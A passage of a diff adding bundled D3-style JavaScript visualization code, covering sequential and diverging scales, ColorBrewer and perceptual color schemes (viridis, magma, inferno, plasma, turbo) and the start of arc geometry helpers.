{ + return copy$1(scale, sequentialPow()).exponent(scale.exponent()); + }; + + return initInterpolator.apply(scale, arguments); +} + +function sequentialSqrt() { + return sequentialPow.apply(null, arguments).exponent(0.5); +} + +function sequentialQuantile() { + var domain = [], + interpolator = identity$6; + + function scale(x) { + if (!isNaN(x = +x)) return interpolator((bisectRight(domain, x) - 1) / (domain.length - 1)); + } + + scale.domain = function(_) { + if (!arguments.length) return domain.slice(); + domain = []; + for (var i = 0, n = _.length, d; i < n; ++i) if (d = _[i], d != null && !isNaN(d = +d)) domain.push(d); + domain.sort(ascending); + return scale; + }; + + scale.interpolator = function(_) { + return arguments.length ? (interpolator = _, scale) : interpolator; + }; + + scale.copy = function() { + return sequentialQuantile(interpolator).domain(domain); + }; + + return initInterpolator.apply(scale, arguments); +} + +function transformer$3() { + var x0 = 0, + x1 = 0.5, + x2 = 1, + t0, + t1, + t2, + k10, + k21, + interpolator = identity$6, + transform, + clamp = false, + unknown; + + function scale(x) { + return isNaN(x = +x) ? unknown : (x = 0.5 + ((x = +transform(x)) - t1) * (x < t1 ? k10 : k21), interpolator(clamp ? Math.max(0, Math.min(1, x)) : x)); + } + + scale.domain = function(_) { + return arguments.length ? (t0 = transform(x0 = +_[0]), t1 = transform(x1 = +_[1]), t2 = transform(x2 = +_[2]), k10 = t0 === t1 ? 0 : 0.5 / (t1 - t0), k21 = t1 === t2 ? 0 : 0.5 / (t2 - t1), scale) : [x0, x1, x2]; + }; + + scale.clamp = function(_) { + return arguments.length ? (clamp = !!_, scale) : clamp; + }; + + scale.interpolator = function(_) { + return arguments.length ? (interpolator = _, scale) : interpolator; + }; + + scale.unknown = function(_) { + return arguments.length ? (unknown = _, scale) : unknown; + }; + + return function(t) { + transform = t, t0 = t(x0), t1 = t(x1), t2 = t(x2), k10 = t0 === t1 ? 0 : 0.5 / (t1 - t0), k21 = t1 === t2 ? 0 : 0.5 / (t2 - t1); + return scale; + }; +} + +function diverging() { + var scale = linearish(transformer$3()(identity$6)); + + scale.copy = function() { + return copy$1(scale, diverging()); + }; + + return initInterpolator.apply(scale, arguments); +} + +function divergingLog() { + var scale = loggish(transformer$3()).domain([0.1, 1, 10]); + + scale.copy = function() { + return copy$1(scale, divergingLog()).base(scale.base()); + }; + + return initInterpolator.apply(scale, arguments); +} + +function divergingSymlog() { + var scale = symlogish(transformer$3()); + + scale.copy = function() { + return copy$1(scale, divergingSymlog()).constant(scale.constant()); + }; + + return initInterpolator.apply(scale, arguments); +} + +function divergingPow() { + var scale = powish(transformer$3()); + + scale.copy = function() { + return copy$1(scale, divergingPow()).exponent(scale.exponent()); + }; + + return initInterpolator.apply(scale, arguments); +} + +function divergingSqrt() { + return divergingPow.apply(null, arguments).exponent(0.5); +} + +function colors(specifier) { + var n = specifier.length / 6 | 0, colors = new Array(n), i = 0; + while (i < n) colors[i] = "#" + specifier.slice(i * 6, ++i * 6); + return colors; +} + +var category10 = colors("1f77b4ff7f0e2ca02cd627289467bd8c564be377c27f7f7fbcbd2217becf"); + +var Accent = colors("7fc97fbeaed4fdc086ffff99386cb0f0027fbf5b17666666"); + +var Dark2 = colors("1b9e77d95f027570b3e7298a66a61ee6ab02a6761d666666"); + +var Paired = colors("a6cee31f78b4b2df8a33a02cfb9a99e31a1cfdbf6fff7f00cab2d66a3d9affff99b15928"); + +var Pastel1 = colors("fbb4aeb3cde3ccebc5decbe4fed9a6ffffcce5d8bdfddaecf2f2f2"); + +var Pastel2 = colors("b3e2cdfdcdaccbd5e8f4cae4e6f5c9fff2aef1e2cccccccc"); + +var Set1 = colors("e41a1c377eb84daf4a984ea3ff7f00ffff33a65628f781bf999999"); + +var Set2 = colors("66c2a5fc8d628da0cbe78ac3a6d854ffd92fe5c494b3b3b3"); + +var Set3 = colors("8dd3c7ffffb3bebadafb807280b1d3fdb462b3de69fccde5d9d9d9bc80bdccebc5ffed6f"); + +var Tableau10 = colors("4e79a7f28e2ce1575976b7b259a14fedc949af7aa1ff9da79c755fbab0ab"); + +function ramp(scheme) { + return rgbBasis(scheme[scheme.length - 1]); +} + +var scheme = new Array(3).concat( + "d8b365f5f5f55ab4ac", + "a6611adfc27d80cdc1018571", + "a6611adfc27df5f5f580cdc1018571", + "8c510ad8b365f6e8c3c7eae55ab4ac01665e", + "8c510ad8b365f6e8c3f5f5f5c7eae55ab4ac01665e", + "8c510abf812ddfc27df6e8c3c7eae580cdc135978f01665e", + "8c510abf812ddfc27df6e8c3f5f5f5c7eae580cdc135978f01665e", + "5430058c510abf812ddfc27df6e8c3c7eae580cdc135978f01665e003c30", + "5430058c510abf812ddfc27df6e8c3f5f5f5c7eae580cdc135978f01665e003c30" +).map(colors); + +var BrBG = ramp(scheme); + +var scheme$1 = new Array(3).concat( + "af8dc3f7f7f77fbf7b", + "7b3294c2a5cfa6dba0008837", + "7b3294c2a5cff7f7f7a6dba0008837", + "762a83af8dc3e7d4e8d9f0d37fbf7b1b7837", + "762a83af8dc3e7d4e8f7f7f7d9f0d37fbf7b1b7837", + "762a839970abc2a5cfe7d4e8d9f0d3a6dba05aae611b7837", + "762a839970abc2a5cfe7d4e8f7f7f7d9f0d3a6dba05aae611b7837", + "40004b762a839970abc2a5cfe7d4e8d9f0d3a6dba05aae611b783700441b", + "40004b762a839970abc2a5cfe7d4e8f7f7f7d9f0d3a6dba05aae611b783700441b" +).map(colors); + +var PRGn = ramp(scheme$1); + +var scheme$2 = new Array(3).concat( + "e9a3c9f7f7f7a1d76a", + "d01c8bf1b6dab8e1864dac26", + "d01c8bf1b6daf7f7f7b8e1864dac26", + "c51b7de9a3c9fde0efe6f5d0a1d76a4d9221", + "c51b7de9a3c9fde0eff7f7f7e6f5d0a1d76a4d9221", + "c51b7dde77aef1b6dafde0efe6f5d0b8e1867fbc414d9221", + "c51b7dde77aef1b6dafde0eff7f7f7e6f5d0b8e1867fbc414d9221", + "8e0152c51b7dde77aef1b6dafde0efe6f5d0b8e1867fbc414d9221276419", + "8e0152c51b7dde77aef1b6dafde0eff7f7f7e6f5d0b8e1867fbc414d9221276419" +).map(colors); + +var PiYG = ramp(scheme$2); + +var scheme$3 = new Array(3).concat( + "998ec3f7f7f7f1a340", + "5e3c99b2abd2fdb863e66101", + "5e3c99b2abd2f7f7f7fdb863e66101", + "542788998ec3d8daebfee0b6f1a340b35806", + "542788998ec3d8daebf7f7f7fee0b6f1a340b35806", + "5427888073acb2abd2d8daebfee0b6fdb863e08214b35806", + "5427888073acb2abd2d8daebf7f7f7fee0b6fdb863e08214b35806", + "2d004b5427888073acb2abd2d8daebfee0b6fdb863e08214b358067f3b08", + "2d004b5427888073acb2abd2d8daebf7f7f7fee0b6fdb863e08214b358067f3b08" +).map(colors); + +var PuOr = ramp(scheme$3); + +var scheme$4 = new Array(3).concat( + "ef8a62f7f7f767a9cf", + "ca0020f4a58292c5de0571b0", + "ca0020f4a582f7f7f792c5de0571b0", + "b2182bef8a62fddbc7d1e5f067a9cf2166ac", + "b2182bef8a62fddbc7f7f7f7d1e5f067a9cf2166ac", + "b2182bd6604df4a582fddbc7d1e5f092c5de4393c32166ac", + "b2182bd6604df4a582fddbc7f7f7f7d1e5f092c5de4393c32166ac", + "67001fb2182bd6604df4a582fddbc7d1e5f092c5de4393c32166ac053061", + "67001fb2182bd6604df4a582fddbc7f7f7f7d1e5f092c5de4393c32166ac053061" +).map(colors); + +var RdBu = ramp(scheme$4); + +var scheme$5 = new Array(3).concat( + "ef8a62ffffff999999", + "ca0020f4a582bababa404040", + "ca0020f4a582ffffffbababa404040", + "b2182bef8a62fddbc7e0e0e09999994d4d4d", + "b2182bef8a62fddbc7ffffffe0e0e09999994d4d4d", + "b2182bd6604df4a582fddbc7e0e0e0bababa8787874d4d4d", + "b2182bd6604df4a582fddbc7ffffffe0e0e0bababa8787874d4d4d", + "67001fb2182bd6604df4a582fddbc7e0e0e0bababa8787874d4d4d1a1a1a", + "67001fb2182bd6604df4a582fddbc7ffffffe0e0e0bababa8787874d4d4d1a1a1a" +).map(colors); + +var RdGy = ramp(scheme$5); + +var scheme$6 = new Array(3).concat( + "fc8d59ffffbf91bfdb", + "d7191cfdae61abd9e92c7bb6", + "d7191cfdae61ffffbfabd9e92c7bb6", + "d73027fc8d59fee090e0f3f891bfdb4575b4", + "d73027fc8d59fee090ffffbfe0f3f891bfdb4575b4", + "d73027f46d43fdae61fee090e0f3f8abd9e974add14575b4", + "d73027f46d43fdae61fee090ffffbfe0f3f8abd9e974add14575b4", + "a50026d73027f46d43fdae61fee090e0f3f8abd9e974add14575b4313695", + "a50026d73027f46d43fdae61fee090ffffbfe0f3f8abd9e974add14575b4313695" +).map(colors); + +var RdYlBu = ramp(scheme$6); + +var scheme$7 = new Array(3).concat( + "fc8d59ffffbf91cf60", + "d7191cfdae61a6d96a1a9641", + "d7191cfdae61ffffbfa6d96a1a9641", + "d73027fc8d59fee08bd9ef8b91cf601a9850", + "d73027fc8d59fee08bffffbfd9ef8b91cf601a9850", + "d73027f46d43fdae61fee08bd9ef8ba6d96a66bd631a9850", + "d73027f46d43fdae61fee08bffffbfd9ef8ba6d96a66bd631a9850", + "a50026d73027f46d43fdae61fee08bd9ef8ba6d96a66bd631a9850006837", + "a50026d73027f46d43fdae61fee08bffffbfd9ef8ba6d96a66bd631a9850006837" +).map(colors); + +var RdYlGn = ramp(scheme$7); + +var scheme$8 = new Array(3).concat( + "fc8d59ffffbf99d594", + "d7191cfdae61abdda42b83ba", + "d7191cfdae61ffffbfabdda42b83ba", + "d53e4ffc8d59fee08be6f59899d5943288bd", + "d53e4ffc8d59fee08bffffbfe6f59899d5943288bd", + "d53e4ff46d43fdae61fee08be6f598abdda466c2a53288bd", + "d53e4ff46d43fdae61fee08bffffbfe6f598abdda466c2a53288bd", + "9e0142d53e4ff46d43fdae61fee08be6f598abdda466c2a53288bd5e4fa2", + "9e0142d53e4ff46d43fdae61fee08bffffbfe6f598abdda466c2a53288bd5e4fa2" +).map(colors); + +var Spectral = ramp(scheme$8); + +var scheme$9 = new Array(3).concat( + "e5f5f999d8c92ca25f", + "edf8fbb2e2e266c2a4238b45", + "edf8fbb2e2e266c2a42ca25f006d2c", + "edf8fbccece699d8c966c2a42ca25f006d2c", + "edf8fbccece699d8c966c2a441ae76238b45005824", + "f7fcfde5f5f9ccece699d8c966c2a441ae76238b45005824", + "f7fcfde5f5f9ccece699d8c966c2a441ae76238b45006d2c00441b" +).map(colors); + +var BuGn = ramp(scheme$9); + +var scheme$a = new Array(3).concat( + "e0ecf49ebcda8856a7", + "edf8fbb3cde38c96c688419d", + "edf8fbb3cde38c96c68856a7810f7c", + "edf8fbbfd3e69ebcda8c96c68856a7810f7c", + "edf8fbbfd3e69ebcda8c96c68c6bb188419d6e016b", + "f7fcfde0ecf4bfd3e69ebcda8c96c68c6bb188419d6e016b", + "f7fcfde0ecf4bfd3e69ebcda8c96c68c6bb188419d810f7c4d004b" +).map(colors); + +var BuPu = ramp(scheme$a); + +var scheme$b = new Array(3).concat( + "e0f3dba8ddb543a2ca", + "f0f9e8bae4bc7bccc42b8cbe", + "f0f9e8bae4bc7bccc443a2ca0868ac", + "f0f9e8ccebc5a8ddb57bccc443a2ca0868ac", + "f0f9e8ccebc5a8ddb57bccc44eb3d32b8cbe08589e", + "f7fcf0e0f3dbccebc5a8ddb57bccc44eb3d32b8cbe08589e", + "f7fcf0e0f3dbccebc5a8ddb57bccc44eb3d32b8cbe0868ac084081" +).map(colors); + +var GnBu = ramp(scheme$b); + +var scheme$c = new Array(3).concat( + "fee8c8fdbb84e34a33", + "fef0d9fdcc8afc8d59d7301f", + "fef0d9fdcc8afc8d59e34a33b30000", + "fef0d9fdd49efdbb84fc8d59e34a33b30000", + "fef0d9fdd49efdbb84fc8d59ef6548d7301f990000", + "fff7ecfee8c8fdd49efdbb84fc8d59ef6548d7301f990000", + "fff7ecfee8c8fdd49efdbb84fc8d59ef6548d7301fb300007f0000" +).map(colors); + +var OrRd = ramp(scheme$c); + +var scheme$d = new Array(3).concat( + "ece2f0a6bddb1c9099", + "f6eff7bdc9e167a9cf02818a", + "f6eff7bdc9e167a9cf1c9099016c59", + "f6eff7d0d1e6a6bddb67a9cf1c9099016c59", + "f6eff7d0d1e6a6bddb67a9cf3690c002818a016450", + "fff7fbece2f0d0d1e6a6bddb67a9cf3690c002818a016450", + "fff7fbece2f0d0d1e6a6bddb67a9cf3690c002818a016c59014636" +).map(colors); + +var PuBuGn = ramp(scheme$d); + +var scheme$e = new Array(3).concat( + "ece7f2a6bddb2b8cbe", + "f1eef6bdc9e174a9cf0570b0", + "f1eef6bdc9e174a9cf2b8cbe045a8d", + "f1eef6d0d1e6a6bddb74a9cf2b8cbe045a8d", + "f1eef6d0d1e6a6bddb74a9cf3690c00570b0034e7b", + "fff7fbece7f2d0d1e6a6bddb74a9cf3690c00570b0034e7b", + "fff7fbece7f2d0d1e6a6bddb74a9cf3690c00570b0045a8d023858" +).map(colors); + +var PuBu = ramp(scheme$e); + +var scheme$f = new Array(3).concat( + "e7e1efc994c7dd1c77", + "f1eef6d7b5d8df65b0ce1256", + "f1eef6d7b5d8df65b0dd1c77980043", + "f1eef6d4b9dac994c7df65b0dd1c77980043", + "f1eef6d4b9dac994c7df65b0e7298ace125691003f", + "f7f4f9e7e1efd4b9dac994c7df65b0e7298ace125691003f", + "f7f4f9e7e1efd4b9dac994c7df65b0e7298ace125698004367001f" +).map(colors); + +var PuRd = ramp(scheme$f); + +var scheme$g = new Array(3).concat( + "fde0ddfa9fb5c51b8a", + "feebe2fbb4b9f768a1ae017e", + "feebe2fbb4b9f768a1c51b8a7a0177", + "feebe2fcc5c0fa9fb5f768a1c51b8a7a0177", + "feebe2fcc5c0fa9fb5f768a1dd3497ae017e7a0177", + "fff7f3fde0ddfcc5c0fa9fb5f768a1dd3497ae017e7a0177", + "fff7f3fde0ddfcc5c0fa9fb5f768a1dd3497ae017e7a017749006a" +).map(colors); + +var RdPu = ramp(scheme$g); + +var scheme$h = new Array(3).concat( + "edf8b17fcdbb2c7fb8", + "ffffcca1dab441b6c4225ea8", + "ffffcca1dab441b6c42c7fb8253494", + "ffffccc7e9b47fcdbb41b6c42c7fb8253494", + "ffffccc7e9b47fcdbb41b6c41d91c0225ea80c2c84", + "ffffd9edf8b1c7e9b47fcdbb41b6c41d91c0225ea80c2c84", + "ffffd9edf8b1c7e9b47fcdbb41b6c41d91c0225ea8253494081d58" +).map(colors); + +var YlGnBu = ramp(scheme$h); + +var scheme$i = new Array(3).concat( + "f7fcb9addd8e31a354", + "ffffccc2e69978c679238443", + "ffffccc2e69978c67931a354006837", + "ffffccd9f0a3addd8e78c67931a354006837", + "ffffccd9f0a3addd8e78c67941ab5d238443005a32", + "ffffe5f7fcb9d9f0a3addd8e78c67941ab5d238443005a32", + "ffffe5f7fcb9d9f0a3addd8e78c67941ab5d238443006837004529" +).map(colors); + +var YlGn = ramp(scheme$i); + +var scheme$j = new Array(3).concat( + "fff7bcfec44fd95f0e", + "ffffd4fed98efe9929cc4c02", + "ffffd4fed98efe9929d95f0e993404", + "ffffd4fee391fec44ffe9929d95f0e993404", + "ffffd4fee391fec44ffe9929ec7014cc4c028c2d04", + "ffffe5fff7bcfee391fec44ffe9929ec7014cc4c028c2d04", + "ffffe5fff7bcfee391fec44ffe9929ec7014cc4c02993404662506" +).map(colors); + +var YlOrBr = ramp(scheme$j); + +var scheme$k = new Array(3).concat( + "ffeda0feb24cf03b20", + "ffffb2fecc5cfd8d3ce31a1c", + "ffffb2fecc5cfd8d3cf03b20bd0026", + "ffffb2fed976feb24cfd8d3cf03b20bd0026", + "ffffb2fed976feb24cfd8d3cfc4e2ae31a1cb10026", + "ffffccffeda0fed976feb24cfd8d3cfc4e2ae31a1cb10026", + "ffffccffeda0fed976feb24cfd8d3cfc4e2ae31a1cbd0026800026" +).map(colors); + +var YlOrRd = ramp(scheme$k); + +var scheme$l = new Array(3).concat( + "deebf79ecae13182bd", + "eff3ffbdd7e76baed62171b5", + "eff3ffbdd7e76baed63182bd08519c", + "eff3ffc6dbef9ecae16baed63182bd08519c", + "eff3ffc6dbef9ecae16baed64292c62171b5084594", + "f7fbffdeebf7c6dbef9ecae16baed64292c62171b5084594", + "f7fbffdeebf7c6dbef9ecae16baed64292c62171b508519c08306b" +).map(colors); + +var Blues = ramp(scheme$l); + +var scheme$m = new Array(3).concat( + "e5f5e0a1d99b31a354", + "edf8e9bae4b374c476238b45", + "edf8e9bae4b374c47631a354006d2c", + "edf8e9c7e9c0a1d99b74c47631a354006d2c", + "edf8e9c7e9c0a1d99b74c47641ab5d238b45005a32", + "f7fcf5e5f5e0c7e9c0a1d99b74c47641ab5d238b45005a32", + "f7fcf5e5f5e0c7e9c0a1d99b74c47641ab5d238b45006d2c00441b" +).map(colors); + +var Greens = ramp(scheme$m); + +var scheme$n = new Array(3).concat( + "f0f0f0bdbdbd636363", + "f7f7f7cccccc969696525252", + "f7f7f7cccccc969696636363252525", + "f7f7f7d9d9d9bdbdbd969696636363252525", + "f7f7f7d9d9d9bdbdbd969696737373525252252525", + "fffffff0f0f0d9d9d9bdbdbd969696737373525252252525", + "fffffff0f0f0d9d9d9bdbdbd969696737373525252252525000000" +).map(colors); + +var Greys = ramp(scheme$n); + +var scheme$o = new Array(3).concat( + "efedf5bcbddc756bb1", + "f2f0f7cbc9e29e9ac86a51a3", + "f2f0f7cbc9e29e9ac8756bb154278f", + "f2f0f7dadaebbcbddc9e9ac8756bb154278f", + "f2f0f7dadaebbcbddc9e9ac8807dba6a51a34a1486", + "fcfbfdefedf5dadaebbcbddc9e9ac8807dba6a51a34a1486", + "fcfbfdefedf5dadaebbcbddc9e9ac8807dba6a51a354278f3f007d" +).map(colors); + +var Purples = ramp(scheme$o); + +var scheme$p = new Array(3).concat( + "fee0d2fc9272de2d26", + "fee5d9fcae91fb6a4acb181d", + "fee5d9fcae91fb6a4ade2d26a50f15", + "fee5d9fcbba1fc9272fb6a4ade2d26a50f15", + "fee5d9fcbba1fc9272fb6a4aef3b2ccb181d99000d", + "fff5f0fee0d2fcbba1fc9272fb6a4aef3b2ccb181d99000d", + "fff5f0fee0d2fcbba1fc9272fb6a4aef3b2ccb181da50f1567000d" +).map(colors); + +var Reds = ramp(scheme$p); + +var scheme$q = new Array(3).concat( + "fee6cefdae6be6550d", + "feeddefdbe85fd8d3cd94701", + "feeddefdbe85fd8d3ce6550da63603", + "feeddefdd0a2fdae6bfd8d3ce6550da63603", + "feeddefdd0a2fdae6bfd8d3cf16913d948018c2d04", + "fff5ebfee6cefdd0a2fdae6bfd8d3cf16913d948018c2d04", + "fff5ebfee6cefdd0a2fdae6bfd8d3cf16913d94801a636037f2704" +).map(colors); + +var Oranges = ramp(scheme$q); + +function cividis(t) { + t = Math.max(0, Math.min(1, t)); + return "rgb(" + + Math.max(0, Math.min(255, Math.round(-4.54 - t * (35.34 - t * (2381.73 - t * (6402.7 - t * (7024.72 - t * 2710.57))))))) + ", " + + Math.max(0, Math.min(255, Math.round(32.49 + t * (170.73 + t * (52.82 - t * (131.46 - t * (176.58 - t * 67.37))))))) + ", " + + Math.max(0, Math.min(255, Math.round(81.24 + t * (442.36 - t * (2482.43 - t * (6167.24 - t * (6614.94 - t * 2475.67))))))) + + ")"; +} + +var cubehelix$3 = cubehelixLong(cubehelix(300, 0.5, 0.0), cubehelix(-240, 0.5, 1.0)); + +var warm = cubehelixLong(cubehelix(-100, 0.75, 0.35), cubehelix(80, 1.50, 0.8)); + +var cool = cubehelixLong(cubehelix(260, 0.75, 0.35), cubehelix(80, 1.50, 0.8)); + +var c = cubehelix(); + +function rainbow(t) { + if (t < 0 || t > 1) t -= Math.floor(t); + var ts = Math.abs(t - 0.5); + c.h = 360 * t - 100; + c.s = 1.5 - 1.5 * ts; + c.l = 0.8 - 0.9 * ts; + return c + ""; +} + +var c$1 = rgb(), + pi_1_3 = Math.PI / 3, + pi_2_3 = Math.PI * 2 / 3; + +function sinebow(t) { + var x; + t = (0.5 - t) * Math.PI; + c$1.r = 255 * (x = Math.sin(t)) * x; + c$1.g = 255 * (x = Math.sin(t + pi_1_3)) * x; + c$1.b = 255 * (x = Math.sin(t + pi_2_3)) * x; + return c$1 + ""; +} + +function turbo(t) { + t = Math.max(0, Math.min(1, t)); + return "rgb(" + + Math.max(0, Math.min(255, Math.round(34.61 + t * (1172.33 - t * (10793.56 - t * (33300.12 - t * (38394.49 - t * 14825.05))))))) + ", " + + Math.max(0, Math.min(255, Math.round(23.31 + t * (557.33 + t * (1225.33 - t * (3574.96 - t * (1073.77 + t * 707.56))))))) + ", " + + Math.max(0, Math.min(255, Math.round(27.2 + t * (3211.1 - t * (15327.97 - t * (27814 - t * (22569.18 - t * 6838.66))))))) + + ")"; +} + +function ramp$1(range) { + var n = range.length; + return function(t) { + return range[Math.max(0, Math.min(n - 1, Math.floor(t * n)))]; + }; +} + +var viridis = ramp$1(colors("44015444025645045745055946075a46085c460a5d460b5e470d60470e6147106347116447136548146748166848176948186a481a6c481b6d481c6e481d6f481f70482071482173482374482475482576482677482878482979472a7a472c7a472d7b472e7c472f7d46307e46327e46337f463480453581453781453882443983443a83443b84433d84433e85423f854240864241864142874144874045884046883f47883f48893e49893e4a893e4c8a3d4d8a3d4e8a3c4f8a3c508b3b518b3b528b3a538b3a548c39558c39568c38588c38598c375a8c375b8d365c8d365d8d355e8d355f8d34608d34618d33628d33638d32648e32658e31668e31678e31688e30698e306a8e2f6b8e2f6c8e2e6d8e2e6e8e2e6f8e2d708e2d718e2c718e2c728e2c738e2b748e2b758e2a768e2a778e2a788e29798e297a8e297b8e287c8e287d8e277e8e277f8e27808e26818e26828e26828e25838e25848e25858e24868e24878e23888e23898e238a8d228b8d228c8d228d8d218e8d218f8d21908d21918c20928c20928c20938c1f948c1f958b1f968b1f978b1f988b1f998a1f9a8a1e9b8a1e9c891e9d891f9e891f9f881fa0881fa1881fa1871fa28720a38620a48621a58521a68522a78522a88423a98324aa8325ab8225ac8226ad8127ad8128ae8029af7f2ab07f2cb17e2db27d2eb37c2fb47c31b57b32b67a34b67935b77937b87838b9773aba763bbb753dbc743fbc7340bd7242be7144bf7046c06f48c16e4ac16d4cc26c4ec36b50c46a52c56954c56856c66758c7655ac8645cc8635ec96260ca6063cb5f65cb5e67cc5c69cd5b6ccd5a6ece5870cf5773d05675d05477d1537ad1517cd2507fd34e81d34d84d44b86d54989d5488bd6468ed64590d74393d74195d84098d83e9bd93c9dd93ba0da39a2da37a5db36a8db34aadc32addc30b0dd2fb2dd2db5de2bb8de29bade28bddf26c0df25c2df23c5e021c8e020cae11fcde11dd0e11cd2e21bd5e21ad8e219dae319dde318dfe318e2e418e5e419e7e419eae51aece51befe51cf1e51df4e61ef6e620f8e621fbe723fde725")); + +var magma = ramp$1(colors("00000401000501010601010802010902020b02020d03030f03031204041405041606051806051a07061c08071e0907200a08220b09240c09260d0a290e0b2b100b2d110c2f120d31130d34140e36150e38160f3b180f3d19103f1a10421c10441d11471e114920114b21114e22115024125325125527125829115a2a115c2c115f2d11612f116331116533106734106936106b38106c390f6e3b0f703d0f713f0f72400f74420f75440f764510774710784910784a10794c117a4e117b4f127b51127c52137c54137d56147d57157e59157e5a167e5c167f5d177f5f187f601880621980641a80651a80671b80681c816a1c816b1d816d1d816e1e81701f81721f817320817521817621817822817922827b23827c23827e24828025828125818326818426818627818827818928818b29818c29818e2a81902a81912b81932b80942c80962c80982d80992d809b2e7f9c2e7f9e2f7fa02f7fa1307ea3307ea5317ea6317da8327daa337dab337cad347cae347bb0357bb2357bb3367ab5367ab73779b83779ba3878bc3978bd3977bf3a77c03a76c23b75c43c75c53c74c73d73c83e73ca3e72cc3f71cd4071cf4070d0416fd2426fd3436ed5446dd6456cd8456cd9466bdb476adc4869de4968df4a68e04c67e24d66e34e65e44f64e55064e75263e85362e95462ea5661eb5760ec5860ed5a5fee5b5eef5d5ef05f5ef1605df2625df2645cf3655cf4675cf4695cf56b5cf66c5cf66e5cf7705cf7725cf8745cf8765cf9785df9795df97b5dfa7d5efa7f5efa815ffb835ffb8560fb8761fc8961fc8a62fc8c63fc8e64fc9065fd9266fd9467fd9668fd9869fd9a6afd9b6bfe9d6cfe9f6dfea16efea36ffea571fea772fea973feaa74feac76feae77feb078feb27afeb47bfeb67cfeb77efeb97ffebb81febd82febf84fec185fec287fec488fec68afec88cfeca8dfecc8ffecd90fecf92fed194fed395fed597fed799fed89afdda9cfddc9efddea0fde0a1fde2a3fde3a5fde5a7fde7a9fde9aafdebacfcecaefceeb0fcf0b2fcf2b4fcf4b6fcf6b8fcf7b9fcf9bbfcfbbdfcfdbf")); + +var inferno = ramp$1(colors("00000401000501010601010802010a02020c02020e03021004031204031405041706041907051b08051d09061f0a07220b07240c08260d08290e092b10092d110a30120a32140b34150b37160b39180c3c190c3e1b0c411c0c431e0c451f0c48210c4a230c4c240c4f260c51280b53290b552b0b572d0b592f0a5b310a5c320a5e340a5f3609613809623909633b09643d09653e0966400a67420a68440a68450a69470b6a490b6a4a0c6b4c0c6b4d0d6c4f0d6c510e6c520e6d540f6d550f6d57106e59106e5a116e5c126e5d126e5f136e61136e62146e64156e65156e67166e69166e6a176e6c186e6d186e6f196e71196e721a6e741a6e751b6e771c6d781c6d7a1d6d7c1d6d7d1e6d7f1e6c801f6c82206c84206b85216b87216b88226a8a226a8c23698d23698f24699025689225689326679526679727669827669a28659b29649d29649f2a63a02a63a22b62a32c61a52c60a62d60a82e5fa92e5eab2f5ead305dae305cb0315bb1325ab3325ab43359b63458b73557b93556ba3655bc3754bd3853bf3952c03a51c13a50c33b4fc43c4ec63d4dc73e4cc83f4bca404acb4149cc4248ce4347cf4446d04545d24644d34743d44842d54a41d74b3fd84c3ed94d3dda4e3cdb503bdd513ade5238df5337e05536e15635e25734e35933e45a31e55c30e65d2fe75e2ee8602de9612bea632aeb6429eb6628ec6726ed6925ee6a24ef6c23ef6e21f06f20f1711ff1731df2741cf3761bf37819f47918f57b17f57d15f67e14f68013f78212f78410f8850ff8870ef8890cf98b0bf98c0af98e09fa9008fa9207fa9407fb9606fb9706fb9906fb9b06fb9d07fc9f07fca108fca309fca50afca60cfca80dfcaa0ffcac11fcae12fcb014fcb216fcb418fbb61afbb81dfbba1ffbbc21fbbe23fac026fac228fac42afac62df9c72ff9c932f9cb35f8cd37f8cf3af7d13df7d340f6d543f6d746f5d949f5db4cf4dd4ff4df53f4e156f3e35af3e55df2e661f2e865f2ea69f1ec6df1ed71f1ef75f1f179f2f27df2f482f3f586f3f68af4f88ef5f992f6fa96f8fb9af9fc9dfafda1fcffa4")); + +var plasma = ramp$1(colors("0d088710078813078916078a19068c1b068d1d068e20068f2206902406912605912805922a05932c05942e05952f059631059733059735049837049938049a3a049a3c049b3e049c3f049c41049d43039e44039e46039f48039f4903a04b03a14c02a14e02a25002a25102a35302a35502a45601a45801a45901a55b01a55c01a65e01a66001a66100a76300a76400a76600a76700a86900a86a00a86c00a86e00a86f00a87100a87201a87401a87501a87701a87801a87a02a87b02a87d03a87e03a88004a88104a78305a78405a78606a68707a68808a68a09a58b0aa58d0ba58e0ca48f0da4910ea3920fa39410a29511a19613a19814a099159f9a169f9c179e9d189d9e199da01a9ca11b9ba21d9aa31e9aa51f99a62098a72197a82296aa2395ab2494ac2694ad2793ae2892b02991b12a90b22b8fb32c8eb42e8db52f8cb6308bb7318ab83289ba3388bb3488bc3587bd3786be3885bf3984c03a83c13b82c23c81c33d80c43e7fc5407ec6417dc7427cc8437bc9447aca457acb4679cc4778cc4977cd4a76ce4b75cf4c74d04d73d14e72d24f71d35171d45270d5536fd5546ed6556dd7566cd8576bd9586ada5a6ada5b69db5c68dc5d67dd5e66de5f65de6164df6263e06363e16462e26561e26660e3685fe4695ee56a5de56b5de66c5ce76e5be76f5ae87059e97158e97257ea7457eb7556eb7655ec7754ed7953ed7a52ee7b51ef7c51ef7e50f07f4ff0804ef1814df1834cf2844bf3854bf3874af48849f48948f58b47f58c46f68d45f68f44f79044f79143f79342f89441f89540f9973ff9983ef99a3efa9b3dfa9c3cfa9e3bfb9f3afba139fba238fca338fca537fca636fca835fca934fdab33fdac33fdae32fdaf31fdb130fdb22ffdb42ffdb52efeb72dfeb82cfeba2cfebb2bfebd2afebe2afec029fdc229fdc328fdc527fdc627fdc827fdca26fdcb26fccd25fcce25fcd025fcd225fbd324fbd524fbd724fad824fada24f9dc24f9dd25f8df25f8e125f7e225f7e425f6e626f6e826f5e926f5eb27f4ed27f3ee27f3f027f2f227f1f426f1f525f0f724f0f921")); + +function constant$b(x) { + return function constant() { + return x; + }; +} + +var abs$1 = Math.abs; +var atan2$1 = Math.atan2; +var cos$2 = Math.cos; +var max$2 = Math.max; +var min$1 = Math.min; +var sin$2 = Math.sin; +var sqrt$2 = Math.sqrt; + +var epsilon$3 = 1e-12; +var pi$4 = Math.PI; +var halfPi$3 = pi$4 / 2; +var tau$4 = 2 * pi$4; + +function acos$1(x) { + return x > 1 ? 0 : x < -1 ? pi$4 : Math.acos(x); +} + +function asin$1(x) { + return x >= 1 ? halfPi$3 : x <= -1 ? -halfPi$3 : Math.asin(x); +} + +function arcInnerRadius(d) { + return d.innerRadius; +} + +function arcOuterRadius(d) { + return d.outerRadius; +} + +function arcStartAngle(d) { + return d.startAngle; +} + +function arcEndAngle(d) { + return d.endAngle; +} + +function arcPadAngle(d) { + return d && d.padAngle; // Note: optional! +} + +function intersect(x0, y0, x1, y1, x2, y2, x3, y3) { + var x10 = x1 - x0, y10 = y1 - y0, + x32 = x3 - x2, y32 = y3 - y2, + t = y32 * x10 - x32 * y10; + if (t * t < epsilon$3) return; + t = (x32 * (y0 - y2) - y32 * (x0 - x2)) / t; + return [x0 + t * x10, 